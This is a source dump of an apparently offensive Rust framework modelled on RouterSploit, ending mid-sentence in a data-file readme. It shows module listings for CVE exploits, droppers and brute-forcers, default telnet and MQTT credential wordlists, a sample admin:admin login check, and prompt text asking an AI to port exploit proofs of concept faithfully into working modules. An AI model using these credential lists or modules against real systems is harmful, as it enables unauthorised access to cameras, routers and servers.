├── src ├── test.txt ├── modules │ ├── creds │ │ ├── camera │ │ │ ├── mod.rs │ │ │ └── acti │ │ │ │ ├── mod.rs │ │ │ │ └── acti_camera_default.rs │ │ ├── mod.rs │ │ └── generic │ │ │ ├── mod.rs │ │ │ ├── sample_cred_check.rs │ │ │ ├── ftp_anonymous.rs │ │ │ └── enablebruteforce.rs │ ├── exploits │ │ ├── acti │ │ │ ├── mod.rs │ │ │ └── acm_5611_rce.rs │ │ ├── spotube │ │ │ ├── mod.rs │ │ │ └── spotube.rs │ │ ├── generic │ │ │ └── mod.rs │ │ ├── react │ │ │ └── mod.rs │ │ ├── jenkins │ │ │ ├── mod.rs │ │ │ └── jenkins_2_441_lfi.rs │ │ ├── roundcube │ │ │ ├── mod.rs │ │ │ └── roundcube_postauth_rce.rs │ │ ├── avtech │ │ │ ├── mod.rs │ │ │ └── cve_2024_7029_avtech_camera.rs │ │ ├── ftp │ │ │ ├── mod.rs │ │ │ └── pachev_ftp_path_traversal_1_0.rs │ │ ├── uniview │ │ │ ├── mod.rs │ │ │ └── uniview_nvr_pwd_disclosure.rs │ │ ├── zabbix │ │ │ ├── mod.rs │ │ │ └── zabbix_7_0_0_sql_injection.rs │ │ ├── flowise │ │ │ ├── mod.rs │ │ │ └── cve_2025_59528_flowise_rce.rs │ │ ├── palo_alto │ │ │ └── mod.rs │ │ ├── http2 │ │ │ └── mod.rs │ │ ├── zte │ │ │ ├── mod.rs │ │ │ └── zte_zxv10_h201l_rce_authenticationbypass.rs │ │ ├── ivanti │ │ │ ├── mod.rs │ │ │ └── ivanti_connect_secure_stack_based_buffer_overflow.rs │ │ ├── tplink │ │ │ ├── mod.rs │ │ │ ├── tp_link_vn020_dos.rs │ │ │ └── tplink_wr740n_dos.rs │ │ ├── apache_tomcat │ │ │ ├── mod.rs │ │ │ └── catkiller_cve_2025_31650.rs │ │ ├── payloadgens │ │ │ ├── mod.rs │ │ │ └── batgen.rs │ │ ├── abus │ │ │ ├── mod.rs │ │ │ ├── abussecurity_camera_cve202326609variant2.rs │ │ │ └── abussecurity_camera_cve202326609variant1.rs │ │ ├── ssh │ │ │ └── mod.rs │ │ ├── mod.rs │ │ └── sample_exploit.rs │ ├── mod.rs │ └── scanners │ │ ├── mod.rs │ │ └── sample_scanner.rs ├── commands │ ├── creds.rs │ ├── scanner.rs │ ├── exploit.rs │ ├── creds_gen.rs │ ├── exploit_gen.rs │ ├── scanner_gen.rs │ └── mod.rs ├── cli.rs ├── main.rs └── config.rs ├── lists ├── telnet-default │ ├── empty.txt │ ├── passwords.txt │ └── usernames.txt ├── mqtt-defaults │ ├── user.txt │ └── pass.txt ├── rtsphead.txt ├── readme.md └── rtsp-paths.txt ├── preview.png ├── testing.png ├── .github └── workflows │ └── rust.yml ├── LICENSE ├── extra.txt └── Cargo.toml /src/test.txt: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /lists/telnet-default/empty.txt: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /src/modules/creds/camera/mod.rs: -------------------------------------------------------------------------------- 1 | pub mod acti; 2 | -------------------------------------------------------------------------------- /src/modules/exploits/acti/mod.rs: -------------------------------------------------------------------------------- 1 | pub mod acm_5611_rce; 2 | -------------------------------------------------------------------------------- /src/modules/exploits/spotube/mod.rs: -------------------------------------------------------------------------------- 1 | pub mod spotube; 2 | -------------------------------------------------------------------------------- /src/modules/exploits/generic/mod.rs: -------------------------------------------------------------------------------- 1 | pub mod heartbleed; 2 | -------------------------------------------------------------------------------- /src/modules/exploits/react/mod.rs: -------------------------------------------------------------------------------- 1 | pub mod react2shell; 2 | 3 | -------------------------------------------------------------------------------- /src/modules/exploits/jenkins/mod.rs: -------------------------------------------------------------------------------- 1 | pub mod jenkins_2_441_lfi; 2 | -------------------------------------------------------------------------------- /src/modules/creds/camera/acti/mod.rs: -------------------------------------------------------------------------------- 1 | pub mod acti_camera_default; 2 | -------------------------------------------------------------------------------- /src/modules/exploits/roundcube/mod.rs: -------------------------------------------------------------------------------- 1 | pub mod roundcube_postauth_rce; 2 | -------------------------------------------------------------------------------- /preview.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/s-b-repo/rustsploit/HEAD/preview.png -------------------------------------------------------------------------------- /src/modules/exploits/avtech/mod.rs: -------------------------------------------------------------------------------- 1 | pub mod cve_2024_7029_avtech_camera; 2 | -------------------------------------------------------------------------------- /src/modules/exploits/ftp/mod.rs: -------------------------------------------------------------------------------- 1 | pub mod pachev_ftp_path_traversal_1_0; 2 | -------------------------------------------------------------------------------- /src/modules/exploits/uniview/mod.rs: -------------------------------------------------------------------------------- 1 | pub mod uniview_nvr_pwd_disclosure; 2 | -------------------------------------------------------------------------------- /src/modules/exploits/zabbix/mod.rs: -------------------------------------------------------------------------------- 1 | pub mod zabbix_7_0_0_sql_injection; 2 | -------------------------------------------------------------------------------- /testing.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/s-b-repo/rustsploit/HEAD/testing.png -------------------------------------------------------------------------------- /src/modules/exploits/flowise/mod.rs: -------------------------------------------------------------------------------- 1 | pub mod cve_2025_59528_flowise_rce; 2 | 3 | -------------------------------------------------------------------------------- /src/modules/exploits/palo_alto/mod.rs: -------------------------------------------------------------------------------- 1 | pub mod panos_authbypass_cve_2025_0108; 2 | -------------------------------------------------------------------------------- /src/modules/mod.rs: -------------------------------------------------------------------------------- 1 | pub mod exploits; 2 | pub mod scanners; 3 | pub mod creds; 4 | -------------------------------------------------------------------------------- /src/modules/exploits/http2/mod.rs: -------------------------------------------------------------------------------- 1 | pub mod cve_2023_44487_http2_rapid_reset; 2 | 3 | -------------------------------------------------------------------------------- /src/modules/exploits/zte/mod.rs: -------------------------------------------------------------------------------- 1 | pub mod zte_zxv10_h201l_rce_authenticationbypass; 2 | -------------------------------------------------------------------------------- /src/modules/creds/mod.rs: -------------------------------------------------------------------------------- 1 | pub mod generic; // <-- lowercase folder name 2 | pub mod camera; 3 | -------------------------------------------------------------------------------- /src/modules/exploits/ivanti/mod.rs: -------------------------------------------------------------------------------- 1 | pub mod ivanti_connect_secure_stack_based_buffer_overflow; 2 | -------------------------------------------------------------------------------- /src/modules/exploits/tplink/mod.rs: -------------------------------------------------------------------------------- 1 | pub mod tp_link_vn020_dos; 2 | pub mod tplink_wr740n_dos; 3 | -------------------------------------------------------------------------------- /src/modules/exploits/apache_tomcat/mod.rs: -------------------------------------------------------------------------------- 1 | pub mod cve_2025_24813_apache_tomcat_rce; 2 | pub mod catkiller_cve_2025_31650; 3 | 4 | -------------------------------------------------------------------------------- /src/modules/exploits/payloadgens/mod.rs: -------------------------------------------------------------------------------- 1 | pub mod narutto_dropper; 2 | pub mod batgen; 3 | pub mod lnkgen; 4 | pub mod payload_encoder; 5 | -------------------------------------------------------------------------------- /src/modules/exploits/abus/mod.rs: -------------------------------------------------------------------------------- 1 | pub mod abussecurity_camera_cve202326609variant1; 2 | pub mod abussecurity_camera_cve202326609variant2; 3 | -------------------------------------------------------------------------------- /src/modules/exploits/ssh/mod.rs: -------------------------------------------------------------------------------- 1 | pub mod opensshserver_9_8p1race_condition; 2 | pub mod sshpwn_sftp_attacks; 3 | pub mod sshpwn_scp_attacks; 4 | pub mod sshpwn_session; 5 | pub mod sshpwn_auth_passwd; 6 | pub mod sshpwn_pam; 7 | -------------------------------------------------------------------------------- /lists/mqtt-defaults/user.txt: -------------------------------------------------------------------------------- 1 | admin 2 | guest 3 | sysadmin@thingsboard.org 4 | admin 5 | emonpi 6 | mosquitto 7 | mqttuser 8 | admin 9 | homeassistant 10 | DVES_USER 11 | admin 12 | roger 13 | sub_client 14 | pub_client 15 | user 16 | -------------------------------------------------------------------------------- /src/commands/creds.rs: -------------------------------------------------------------------------------- 1 | use anyhow::Result; 2 | 3 | include!(concat!(env!("OUT_DIR"), "/creds_dispatch.rs")); 4 | 5 | pub async fn run_cred_check(module_name: &str, target: &str) -> Result<()> { 6 | dispatch(module_name, target).await 7 | } 8 | -------------------------------------------------------------------------------- /src/commands/scanner.rs: -------------------------------------------------------------------------------- 1 | use anyhow::Result; 2 | 3 | include!(concat!(env!("OUT_DIR"), "/scanner_dispatch.rs")); 4 | 5 | pub async fn run_scan(module_name: &str, target: &str) -> Result<()> { 6 | dispatch(module_name, target).await 7 | } 8 | -------------------------------------------------------------------------------- /src/commands/exploit.rs: -------------------------------------------------------------------------------- 1 | use anyhow::Result; 2 | 3 | include!(concat!(env!("OUT_DIR"), "/exploit_dispatch.rs")); 4 | 5 | pub async fn run_exploit(module_name: &str, target: &str) -> Result<()> { 6 | dispatch(module_name, target).await 7 | } 8 | -------------------------------------------------------------------------------- /lists/mqtt-defaults/pass.txt: -------------------------------------------------------------------------------- 1 | public 2 | guest 3 | sysadmin 4 | hivemq 5 | emonpimqtt2016 6 | mosquitto 7 | mqttpassword 8 | password 9 | [auto-generated] 10 | [empty] 11 | [printed on PLC] 12 | password 13 | password 14 | password 15 | bitnami 16 | -------------------------------------------------------------------------------- /lists/telnet-default/passwords.txt: -------------------------------------------------------------------------------- 1 | admin 2 | password 3 | 123456 4 | 1234 5 | root 6 | toor 7 | guest 8 | default 9 | admin123 10 | adminadmin 11 | pass 12 | changeme 13 | password1 14 | cisco 15 | ubnt 16 | support 17 | 12345 18 | qwerty 19 | letmein 20 | test 21 | -------------------------------------------------------------------------------- /lists/telnet-default/usernames.txt: -------------------------------------------------------------------------------- 1 | admin 2 | root 3 | user 4 | administrator 5 | guest 6 | support 7 | operator 8 | supervisor 9 | admin1 10 | root1 11 | manager 12 | service 13 | master 14 | tech 15 | sysadmin 16 | default 17 | cisco 18 | ubnt 19 | pi 20 | test 21 | -------------------------------------------------------------------------------- /src/modules/scanners/mod.rs: -------------------------------------------------------------------------------- 1 | pub mod sample_scanner; 2 | pub mod ssdp_msearch; 3 | pub mod port_scanner; 4 | pub mod stalkroute_full_traceroute; 5 | pub mod http_title_scanner; 6 | pub mod ping_sweep; 7 | pub mod http_method_scanner; 8 | pub mod dns_recursion; 9 | pub mod ssh_scanner; 10 | pub mod smtp_user_enum; 11 | -------------------------------------------------------------------------------- /.github/workflows/rust.yml: -------------------------------------------------------------------------------- 1 | name: Rust 2 | 3 | on: 4 | push: 5 | branches: [ "main" ] 6 | pull_request: 7 | branches: [ "main" ] 8 | 9 | env: 10 | CARGO_TERM_COLOR: always 11 | 12 | jobs: 13 | build: 14 | 15 | runs-on: Kali 16 | 17 | steps: 18 | - uses: actions/checkout@v4 19 | - name: Build 20 | run: cargo build --verbose 21 | - name: Run tests 22 | run: cargo test --verbose 23 | -------------------------------------------------------------------------------- /src/modules/exploits/mod.rs: -------------------------------------------------------------------------------- 1 | pub mod generic; 2 | pub mod sample_exploit; 3 | pub mod payloadgens; 4 | pub mod tplink; 5 | pub mod ssh; 6 | pub mod spotube; 7 | pub mod ftp; 8 | pub mod zabbix; 9 | pub mod abus; 10 | pub mod uniview; 11 | pub mod avtech; 12 | pub mod acti; 13 | pub mod zte; 14 | pub mod ivanti; 15 | pub mod apache_tomcat; 16 | pub mod palo_alto; 17 | pub mod roundcube; 18 | pub mod flowise; 19 | pub mod http2; 20 | pub mod jenkins; 21 | pub mod react; 22 | -------------------------------------------------------------------------------- /src/modules/creds/generic/mod.rs: -------------------------------------------------------------------------------- 1 | 2 | pub mod sample_cred_check; 3 | pub mod ftp_bruteforce; 4 | pub mod ftp_anonymous; 5 | pub mod telnet_bruteforce; 6 | pub mod ssh_bruteforce; 7 | pub mod ssh_user_enum; 8 | pub mod ssh_spray; 9 | pub mod rtsp_bruteforce_advanced; 10 | pub mod rdp_bruteforce; 11 | pub mod enablebruteforce; 12 | pub mod smtp_bruteforce; 13 | pub mod pop3_bruteforce; 14 | pub mod snmp_bruteforce; 15 | pub mod fortinet_bruteforce; 16 | pub mod l2tp_bruteforce; 17 | pub mod mqtt_bruteforce; 18 | -------------------------------------------------------------------------------- /lists/rtsphead.txt: -------------------------------------------------------------------------------- 1 | OPTIONS 2 | DESCRIBE 3 | SETUP 4 | PLAY 5 | PAUSE 6 | TEARDOWN 7 | GET_PARAMETER 8 | SET_PARAMETER 9 | REDIRECT 10 | ANNOUNCE 11 | RECORD 12 | FLUSH 13 | PING 14 | STOP 15 | RECEIVE 16 | START 17 | SHUTDOWN 18 | CHECK 19 | INIT 20 | TRICKPLAY 21 | STREAM 22 | OPEN 23 | CLOSE 24 | START_RECORD 25 | STOP_RECORD 26 | SCALE 27 | RESUME 28 | STANDBY 29 | START_PLAY 30 | REQUEST_KEY_FRAME 31 | CONFIG 32 | FORCE_IFRAME 33 | DETECT 34 | ALIVE 35 | RENEW 36 | LINK 37 | UNLINK 38 | SET_DELAY 39 | RESET 40 | ACTIVATE 41 | DEACTIVATE 42 | ENABLE 43 | DISABLE 44 | LOGON 45 | LOGOFF 46 | AUTH 47 | START_STREAM 48 | STOP_STREAM 49 | SET_TIME 50 | GET_TIME 51 | GET_STATUS 52 | GET_CONFIG 53 | SET_CONFIG 54 | GET_INFO 55 | SET_INFO 56 | GET_SNAPSHOT 57 | TRIGGER 58 | UPGRADE 59 | QUERY 60 | POLL 61 | HEARTBEAT 62 | REPORT 63 | CAMERA_CONTROL 64 | FOCUS 65 | ZOOM 66 | PTZ 67 | PAN 68 | TILT 69 | PRESET 70 | GOTO_PRESET 71 | SET_PRESET 72 | REMOVE_PRESET 73 | ADJUST 74 | STATUS 75 | RESTART 76 | GET_URL 77 | SET_URL 78 | LOAD 79 | SAVE 80 | REGISTER 81 | UNREGISTER 82 | METADATA 83 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2025 S.B 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /src/cli.rs: -------------------------------------------------------------------------------- 1 | use clap::{ArgGroup, Parser}; 2 | 3 | /// Simple RouterSploit-like CLI in Rust 4 | #[derive(Parser, Debug)] 5 | #[command(author, version, about, long_about = None)] 6 | #[clap(group( 7 | ArgGroup::new("mode") 8 | .required(false) 9 | .args(&["command", "api"]) 10 | ))] 11 | pub struct Cli { 12 | /// Subcommand to run (e.g. "exploit", "scanner", "creds") 13 | pub command: Option, 14 | 15 | /// Target IP or hostname 16 | #[arg(short, long)] 17 | pub target: Option, 18 | 19 | /// Module name to use 20 | #[arg(short, long)] 21 | pub module: Option, 22 | 23 | /// Launch API server mode 24 | #[arg(long)] 25 | pub api: bool, 26 | 27 | /// API key for authentication (required when --api is used) 28 | #[arg(long, requires = "api")] 29 | pub api_key: Option, 30 | 31 | /// Enable hardening mode (auto-rotate API key on suspicious activity) 32 | #[arg(long, requires = "api")] 33 | pub harden: bool, 34 | 35 | /// Network interface to bind API server to (default: 0.0.0.0) 36 | #[arg(long, requires = "api", default_value = "0.0.0.0")] 37 | pub interface: Option, 38 | 39 | /// IP limit for hardening mode (default: 10 unique IPs) 40 | #[arg(long, requires = "harden", default_value = "10")] 41 | pub ip_limit: Option, 42 | 43 | /// Set global target IP/subnet for all modules 44 | #[arg(long)] 45 | pub set_target: Option, 46 | } 47 | -------------------------------------------------------------------------------- /src/modules/exploits/sample_exploit.rs: -------------------------------------------------------------------------------- 1 | use anyhow::{Context, Result}; 2 | use colored::*; 3 | use reqwest::Client; 4 | use std::time::Duration; 5 | 6 | const DEFAULT_TIMEOUT_SECS: u64 = 10; 7 | 8 | /// A basic demonstration exploit that checks if a specific endpoint is "vulnerable" 9 | pub async fn run(target: &str) -> Result<()> { 10 | println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan()); 11 | println!("{}", "║ Sample Exploit Module - Demonstration ║".cyan()); 12 | println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan()); 13 | println!("{}", format!("[*] Target: {}", target).yellow()); 14 | 15 | let client = Client::builder() 16 | .timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS)) 17 | .danger_accept_invalid_certs(true) 18 | .build() 19 | .context("Failed to build HTTP client")?; 20 | 21 | let url = format!("http://{}/vulnerable_endpoint", target); 22 | println!("{}", format!("[*] Checking: {}", url).cyan()); 23 | 24 | let resp = client 25 | .get(&url) 26 | .send() 27 | .await 28 | .context("Failed to send request")? 29 | .text() 30 | .await 31 | .context("Failed to read response")?; 32 | 33 | if resp.contains("Vulnerable!") { 34 | println!("{}", "[+] Target is vulnerable!".green().bold()); 35 | } else { 36 | println!("{}", "[-] Target does not appear to be vulnerable.".red()); 37 | } 38 | 39 | Ok(()) 40 | } 41 | -------------------------------------------------------------------------------- /src/modules/creds/generic/sample_cred_check.rs: -------------------------------------------------------------------------------- 1 | use anyhow::{Result, Context}; 2 | use colored::*; 3 | use reqwest; 4 | use std::time::Duration; 5 | 6 | const DEFAULT_TIMEOUT_SECS: u64 = 10; 7 | 8 | fn display_banner() { 9 | println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan()); 10 | println!("{}", "║ Sample Default Credential Checker ║".cyan()); 11 | println!("{}", "║ HTTP Basic Auth Test Module ║".cyan()); 12 | println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan()); 13 | println!(); 14 | } 15 | 16 | /// A sample credential check - tries a basic auth login 17 | pub async fn run(target: &str) -> Result<()> { 18 | display_banner(); 19 | 20 | println!("{}", format!("[*] Target: {}", target).cyan()); 21 | println!("{}", "[*] Checking default credentials (admin:admin)...".cyan()); 22 | println!(); 23 | 24 | let url = format!("http://{}/login", target); 25 | let client = reqwest::Client::builder() 26 | .danger_accept_invalid_certs(true) 27 | .timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS)) 28 | .build()?; 29 | 30 | let resp = client 31 | .post(&url) 32 | .basic_auth("admin", Some("admin")) 33 | .send() 34 | .await 35 | .context("Failed to send login request")?; 36 | 37 | if resp.status().is_success() { 38 | println!("{}", "[+] Default credentials admin:admin are valid!".green().bold()); 39 | } else { 40 | println!("{}", "[-] Default credentials admin:admin failed.".yellow()); 41 | } 42 | 43 | Ok(()) 44 | } 45 | -------------------------------------------------------------------------------- /extra.txt: -------------------------------------------------------------------------------- 1 | Required Signature 2 | 3 | The module must contain this exact public async function: 4 | 5 | pub async fn run(target: &str) -> anyhow::Result<()> 6 | 7 | Or any variant like: 8 | 9 | pub async fn run(_target: &str) -> anyhow::Result<()> 10 | 11 | Or even: 12 | 13 | pub async fn run(host: &str) -> anyhow::Result<()> 14 | 15 | 16 | Refactor this module to work with the auto-dispatch system. Do not remove any functionality or features. Make sure it defines a pub async fn run(target: &str) -> Result<()> entry point that internally calls the correct logic. Rename any conflicting functions if needed, but preserve all capabilities and structure. 17 | 18 | 19 | Refactor this code to a Rust module so that it fully integrates into my RouterSploit-inspired Rust auto-dispatch framework. 20 | 21 | ✅ Preserve all functionality and existing logic — do not remove or simplify any capabilities. 22 | 23 | ✅ Ensure the module defines a pub async fn run(target: &str) -> Result<()> entry point. 24 | 25 | All internal logic must be routed through this function. 26 | 27 | ✅ If any internal function is named run and conflicts with the dispatch entry, rename it (e.g. to execute, exploit, etc.) — but do not change logic. 28 | 29 | ✅ The module must compile, follow anyhow::Result<()>, and use proper error propagation (? operator). 30 | 31 | ✅ Do not add placeholders, pseudocode, or stubs — this must be real working Rust code. 32 | 33 | ✅ Use async/await and retain all networking, parsing, and exploit behavior from the original logic. 34 | 35 | ✅ Keep the code idiomatic and modular — preserve structure, variable naming, and async HTTP usage. 36 | 37 | ✅ If necessary, clean up variable scoping or imports, but never remove real features. 38 | 39 | ✅ keep all comments from the orginal but add two / before comments 40 | 41 | ✅ only use the poc and it must be a 1 to 1 convertion 42 | 43 | Here is the original module that needs to be refactored: 44 | 45 | 46 | 47 | 48 | Strict Requirements: 49 | 50 | The code must be 100% pure Rust, fully compatible with Linux operating systems. 51 | 52 | The entire driver must use asynchronous Rust throughout (async/await and appropriate crates), enabling non-blocking, concurrent communication with multiple devices. 53 | 54 | Do not include any comments, explanations, docstrings, sample usage, placeholder code, TODOs, or example outputs. The output must be only the actual source code required for a complete and functional driver. 55 | 56 | The output must be a single, fully compilable Rust source file, containing all necessary use statements, async functions, modules, structs, enums, and logic to support end-to-end operation. 57 | 58 | 59 | -------------------------------------------------------------------------------- /src/commands/creds_gen.rs: -------------------------------------------------------------------------------- 1 | use std::collections::HashSet; 2 | use std::env; 3 | use std::fs::{self, File}; 4 | use std::io::Write; 5 | use std::path::Path; 6 | 7 | fn main() { 8 | let out_dir = env::var("OUT_DIR").unwrap(); 9 | // Keep dispatch file naming consistent with build.rs 10 | let dest_path = Path::new(&out_dir).join("creds_dispatch.rs"); 11 | let mut file = File::create(&dest_path).unwrap(); 12 | 13 | let creds_root = Path::new("src/modules/creds"); 14 | 15 | let mut mappings: HashSet<(String, String)> = HashSet::new(); 16 | 17 | // Traverse all .rs files (excluding mod.rs) 18 | visit_all_rs(creds_root, "".to_string(), &mut mappings).unwrap(); 19 | 20 | // Generate dispatch function 21 | writeln!( 22 | file, 23 | "pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{\n match module_name {{" 24 | ).unwrap(); 25 | 26 | for (key, mod_path) in &mappings { 27 | let short_key = key.rsplit('/').next().unwrap_or(&key); 28 | let mod_code_path = mod_path.replace("/", "::"); 29 | 30 | writeln!( 31 | file, 32 | r#" "{short}" | "{full}" => {{ crate::modules::creds::{path}::run(target).await? }},"#, 33 | short = short_key, 34 | full = key, 35 | path = mod_code_path 36 | ).unwrap(); 37 | } 38 | 39 | writeln!( 40 | file, 41 | r#" _ => anyhow::bail!("Cred module '{{}}' not found.", module_name),"# 42 | ).unwrap(); 43 | 44 | writeln!(file, " }}\n Ok(())\n}}").unwrap(); 45 | } 46 | 47 | /// Recursively scan `src/modules/creds/` and find all `.rs` files (excluding `mod.rs`) 48 | fn visit_all_rs(dir: &Path, prefix: String, mappings: &mut HashSet<(String, String)>) -> std::io::Result<()> { 49 | if dir.is_dir() { 50 | for entry in fs::read_dir(dir)? { 51 | let entry = entry?; 52 | let path = entry.path(); 53 | let file_name = entry.file_name().to_string_lossy().into_owned(); 54 | 55 | if path.is_dir() { 56 | let sub_prefix = if prefix.is_empty() { 57 | file_name.clone() 58 | } else { 59 | format!("{}/{}", prefix, file_name) 60 | }; 61 | visit_all_rs(&path, sub_prefix, mappings)?; 62 | } else if path.extension().map_or(false, |e| e == "rs") { 63 | if file_name == "mod.rs" { 64 | continue; 65 | } 66 | 67 | let file_stem = path.file_stem().unwrap().to_string_lossy(); 68 | let mod_path = if prefix.is_empty() { 69 | file_stem.to_string() 70 | } else { 71 | format!("{}/{}", prefix, file_stem) 72 | }; 73 | 74 | if mappings.insert((mod_path.clone(), mod_path.clone())) { 75 | println!("✅ Found cred module: {}", mod_path); 76 | } 77 | } 78 | } 79 | } 80 | Ok(()) 81 | } 82 | -------------------------------------------------------------------------------- /src/commands/exploit_gen.rs: -------------------------------------------------------------------------------- 1 | use std::collections::HashSet; 2 | use std::env; 3 | use std::fs::{self, File}; 4 | use std::io::Write; 5 | use std::path::Path; 6 | 7 | fn main() { 8 | let out_dir = env::var("OUT_DIR").unwrap(); 9 | let dest_path = Path::new(&out_dir).join("exploit_dispatch.rs"); 10 | let mut file = File::create(&dest_path).unwrap(); 11 | 12 | let exploits_root = Path::new("src/modules/exploits"); 13 | 14 | let mut mappings: HashSet<(String, String)> = HashSet::new(); 15 | 16 | // Traverse all .rs files (excluding mod.rs) 17 | visit_all_rs(exploits_root, "".to_string(), &mut mappings).unwrap(); 18 | 19 | // Start generating dispatch code 20 | writeln!( 21 | file, 22 | "pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{\n match module_name {{" 23 | ).unwrap(); 24 | 25 | for (key, mod_path) in &mappings { 26 | let short_key = key.rsplit('/').next().unwrap_or(&key); 27 | let mod_code_path = mod_path.replace("/", "::"); 28 | 29 | writeln!( 30 | file, 31 | r#" "{short}" | "{full}" => {{ crate::modules::exploits::{path}::run(target).await? }},"#, 32 | short = short_key, 33 | full = key, 34 | path = mod_code_path 35 | ).unwrap(); 36 | } 37 | 38 | writeln!( 39 | file, 40 | r#" _ => anyhow::bail!("Exploit module '{{}}' not found.", module_name),"# 41 | ).unwrap(); 42 | 43 | writeln!(file, " }}\n Ok(())\n}}").unwrap(); 44 | } 45 | 46 | /// Recursively walk through directories, find all .rs files excluding mod.rs 47 | fn visit_all_rs(dir: &Path, prefix: String, mappings: &mut HashSet<(String, String)>) -> std::io::Result<()> { 48 | if dir.is_dir() { 49 | for entry in fs::read_dir(dir)? { 50 | let entry = entry?; 51 | let path = entry.path(); 52 | let file_name = entry.file_name().to_string_lossy().into_owned(); 53 | 54 | if path.is_dir() { 55 | let sub_prefix = if prefix.is_empty() { 56 | file_name.clone() 57 | } else { 58 | format!("{}/{}", prefix, file_name) 59 | }; 60 | visit_all_rs(&path, sub_prefix, mappings)?; 61 | } else if path.extension().map_or(false, |e| e == "rs") { 62 | if file_name == "mod.rs" { 63 | continue; 64 | } 65 | 66 | let file_stem = path.file_stem().unwrap().to_string_lossy(); 67 | let mod_path = if prefix.is_empty() { 68 | file_stem.to_string() 69 | } else { 70 | format!("{}/{}", prefix, file_stem) 71 | }; 72 | 73 | // Add to mappings if not already added 74 | if mappings.insert((mod_path.clone(), mod_path.clone())) { 75 | println!("✅ Found exploit: {}", mod_path); 76 | } 77 | } 78 | } 79 | } 80 | Ok(()) 81 | } 82 | -------------------------------------------------------------------------------- /src/commands/scanner_gen.rs: -------------------------------------------------------------------------------- 1 | use std::collections::HashSet; 2 | use std::env; 3 | use std::fs::{self, File}; 4 | use std::io::{Write}; 5 | use std::path::Path; 6 | 7 | fn main() { 8 | let out_dir = env::var("OUT_DIR").unwrap(); 9 | let dest_path = Path::new(&out_dir).join("scanner_dispatch.rs"); 10 | let mut file = File::create(&dest_path).unwrap(); 11 | 12 | let scanners_root = Path::new("src/modules/scanners"); 13 | 14 | let mut mappings: HashSet<(String, String)> = HashSet::new(); 15 | 16 | // Traverse all .rs files (excluding mod.rs) 17 | visit_all_rs(scanners_root, "".to_string(), &mut mappings).unwrap(); 18 | 19 | // Start generating dispatch code 20 | writeln!( 21 | file, 22 | "pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{\n match module_name {{" 23 | ).unwrap(); 24 | 25 | for (key, mod_path) in &mappings { 26 | let short_key = key.rsplit('/').next().unwrap_or(&key); 27 | let mod_code_path = mod_path.replace("/", "::"); 28 | 29 | writeln!( 30 | file, 31 | r#" "{short}" | "{full}" => {{ crate::modules::scanners::{path}::run(target).await? }},"#, 32 | short = short_key, 33 | full = key, 34 | path = mod_code_path 35 | ).unwrap(); 36 | } 37 | 38 | writeln!( 39 | file, 40 | r#" _ => anyhow::bail!("Scanner module '{{}}' not found.", module_name),"# 41 | ).unwrap(); 42 | 43 | writeln!(file, " }}\n Ok(())\n}}").unwrap(); 44 | } 45 | 46 | /// Recursively walk through directories, find all .rs files excluding mod.rs 47 | fn visit_all_rs(dir: &Path, prefix: String, mappings: &mut HashSet<(String, String)>) -> std::io::Result<()> { 48 | if dir.is_dir() { 49 | for entry in fs::read_dir(dir)? { 50 | let entry = entry?; 51 | let path = entry.path(); 52 | let file_name = entry.file_name().to_string_lossy().into_owned(); 53 | 54 | if path.is_dir() { 55 | let sub_prefix = if prefix.is_empty() { 56 | file_name.clone() 57 | } else { 58 | format!("{}/{}", prefix, file_name) 59 | }; 60 | visit_all_rs(&path, sub_prefix, mappings)?; 61 | } else if path.extension().map_or(false, |e| e == "rs") { 62 | if file_name == "mod.rs" { 63 | continue; 64 | } 65 | 66 | let file_stem = path.file_stem().unwrap().to_string_lossy(); 67 | let mod_path = if prefix.is_empty() { 68 | file_stem.to_string() 69 | } else { 70 | format!("{}/{}", prefix, file_stem) 71 | }; 72 | 73 | // Add to mappings if not already added 74 | if mappings.insert((mod_path.clone(), mod_path.clone())) { 75 | println!("✅ Found scanner: {}", mod_path); 76 | } 77 | } 78 | } 79 | } 80 | Ok(()) 81 | } 82 | -------------------------------------------------------------------------------- /lists/readme.md: -------------------------------------------------------------------------------- 1 | # 📚 Rustsploit Data Files 2 | 3 | This directory contains reference lists and helper payloads consumed by modules under `src/modules/**`. Keep this README up to date whenever a new list is added so operators understand the expected format and typical usage. 4 | 5 | --- 6 | 7 | ## Available Files 8 | 9 | | File / Directory | Used By | Description | 10 | |------------------|---------|-------------| 11 | | `rtsp-paths.txt` | `creds/generic/rtsp_bruteforce_advanced.rs` | Candidate RTSP paths to brute force when enumerating stream URLs (e.g., `/live.sdp`, `/Streaming/channels/101`). One entry per line; comments can be added with `#` at the start of a line. | 12 | | `rtsphead.txt` | `creds/generic/rtsp_bruteforce_advanced.rs` | Optional RTSP header templates. When the user 